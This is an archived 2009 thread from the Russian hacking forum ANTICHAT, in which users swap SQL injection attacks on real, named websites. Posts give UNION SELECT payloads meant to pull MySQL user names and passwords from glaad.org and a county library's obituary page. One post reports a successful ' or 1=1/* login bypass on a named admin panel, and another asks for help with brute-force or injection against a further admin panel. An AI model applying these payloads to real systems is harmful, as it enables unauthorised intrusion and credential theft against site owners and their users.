ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |
|
07.01.2009, 07:52
|
|
Познавший АНТИЧАТ
Регистрация: 29.04.2007
Сообщений: 1,189
Провел на форуме:
5749763
Репутация:
1680
|
|
http://www.heroeswm.ru/battlechat.php?warid[]=
Чё означает эта ошибка?
|
|
|
07.01.2009, 08:23
|
|
Новичок
Регистрация: 16.03.2007
Сообщений: 24
Провел на форуме:
145084
Репутация:
2
|
|
Не могли бы помочь глянуть в админку есть ли что нибкудь??
http://la2sfer.ru/admin/
что с ней можно сделать?
брут\инъеция...
еще вот что нашел:
http://la2sfer.ru/data/admin
http://la2sfer.ru/news (возможжно тоже пригодится, хотя search.php предусмотрительно удален)
Последний раз редактировалось lexus5122; 07.01.2009 в 08:29..
|
|
|
|
07.01.2009, 13:15
|
|
Познающий
Регистрация: 14.12.2007
Сообщений: 79
Провел на форуме:
329826
Репутация:
75
|
|
Сообщение от AkyHa_MaTaTa
а ты уверен что off-docnescott - это админ?
поробу вот так:
http://www.glaad.org/action/calls_archive_detail.php?id=-4805+union+select+1,2,3,4,5,concat_ws(0x3a,user,pa ssword,host,file_priv) ,7,8,9,10,11,12,13,14,15,16,17,18,19,20+from+mysql .user+where+host='%'/*
Не, не покатило.
Лан, продолжу ковырять...
|
|
|
|
07.01.2009, 13:37
|
|
Познающий
Регистрация: 14.12.2007
Сообщений: 79
Провел на форуме:
329826
Репутация:
75
|
|
Сообщение от :o)
4adr0s, в первом случае что бы не мучатся сделай так:
заходишь сюда: http://gps-ru.ru/admin/
в поле login пишешь ' or 1=1/* в поле password что угодно.
Гы! Проехало!
|
|
|
|
07.01.2009, 13:57
|
|
Members of Antichat - Level 5
Регистрация: 09.05.2008
Сообщений: 304
Провел на форуме:
7875940
Репутация:
2362
|
|
Сообщение от Nightmarе
http://www.heroeswm.ru/battlechat.php?warid[]=
Чё означает эта ошибка?
Попытка привести вектор к скалярному типу. По-идее массив должен был привестись к int(1), но почему-то у них NOT_A_SCALAR_PLACEHOLDER_0. Видимо используют самописные функции для приведения к целочисленному типу.
Врядли там есть норм скуль-инъект.
|
|
|
|
07.01.2009, 16:33
|
|
Постоянный
Регистрация: 27.10.2008
Сообщений: 491
Провел на форуме:
4002393
Репутация:
464
|
|
Вот нашел скулю
http://www.niobraracountylibrary.org/obituaries/?id=2769'
роскрутил чуть чуть
http://www.niobraracountylibrary.org/obituaries/?id=2769'+union+select+1,2,3,4,5,6,7,8,9,10,11,12, 13,14,15,16,17/*
дальше начались траблы подставляю вместо 14 version()
http://www.niobraracountylibrary.org/obituaries/?id=2769'+union+select+1,2,3,4,5,6,7,8,9,10,11,12, 13,version(),15,16,17/*
выдает ошыбку. Решил перевести в чар получился такой запрос
http://www.niobraracountylibrary.org/obituaries/?id=2769'+union+select+1,2,3,4,5,6,7,8,9,10,11,12, 13,CHAR(118,101,114,115,105,111,110,40,41),15,16,1 7/*
вместо 14 терь стоит version(). Как узнать версию??? |
|
|
|
07.01.2009, 16:43
|
|
Reservists Of Antichat - Level 6
Регистрация: 22.01.2007
Сообщений: 616
Провел на форуме:
7452489
Репутация:
1359
|
|
Сообщение от zifanchuck
Как узнать версию???
вот так
Код:
http://www.niobraracountylibrary.org/obituaries/?id=2769%27+union+select+1,2,3,4,5,6,7,8,9,10,11,12,%2013,unhex(hex(version())),15,16,17/*
|
|
|
|
07.01.2009, 16:56
|
|
Постоянный
Регистрация: 27.10.2008
Сообщений: 491
Провел на форуме:
4002393
Репутация:
464
|
|
спс
вот начал подбирать имена таблиц и тут ввел mysql.user и ответ получил не такой как всегда:
MySQL Error: Access denied for user 'dsturman'@'208.113.192.0/255.255.224.0' to database 'mysql' может тут какая-то привязка по ИР
http://www.niobraracountylibrary.org/obituaries/?id=2769'+union+select+1,2,3,4,5,6,7,8,9,10,11,12, 13,999,15,16,17+from+mysql.user/*
|
|
|
|
07.01.2009, 17:26
|
|
Участник форума
Регистрация: 18.01.2008
Сообщений: 158
Провел на форуме:
2441184
Репутация:
106
|
|
http://hackzona.net/index.php?id=p=authorization&auth_username=111-222-1933email@address.com&auth_password=%5C%22&auth_au tomatic=off
http://hackzona.net/?id=1'&s=silvermail.info
вообще хз что значит
Код:
Warning: mysql_numrows(): supplied argument is not a valid MySQL result resource in /home/users/s/slavon-x86/docs/sql/main.php on line 14
Последний раз редактировалось Vlad3d; 07.01.2009 в 17:28..
|
|
|
|
07.01.2009, 17:26
|
|
Новичок
Регистрация: 03.01.2009
Сообщений: 2
Провел на форуме:
12608
Репутация:
0
|
|
При добавлений задачи на http://cronjob.ru появилась следующая ошибка:
Код:
Warning: mysql_result() [function.mysql-result]: Unable to jump to row 0 on MySQL result index 7 in /sql/hosts/cronjob.ru/act.php on line 54
Интересно что это значит.  |
|
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Линейный вид
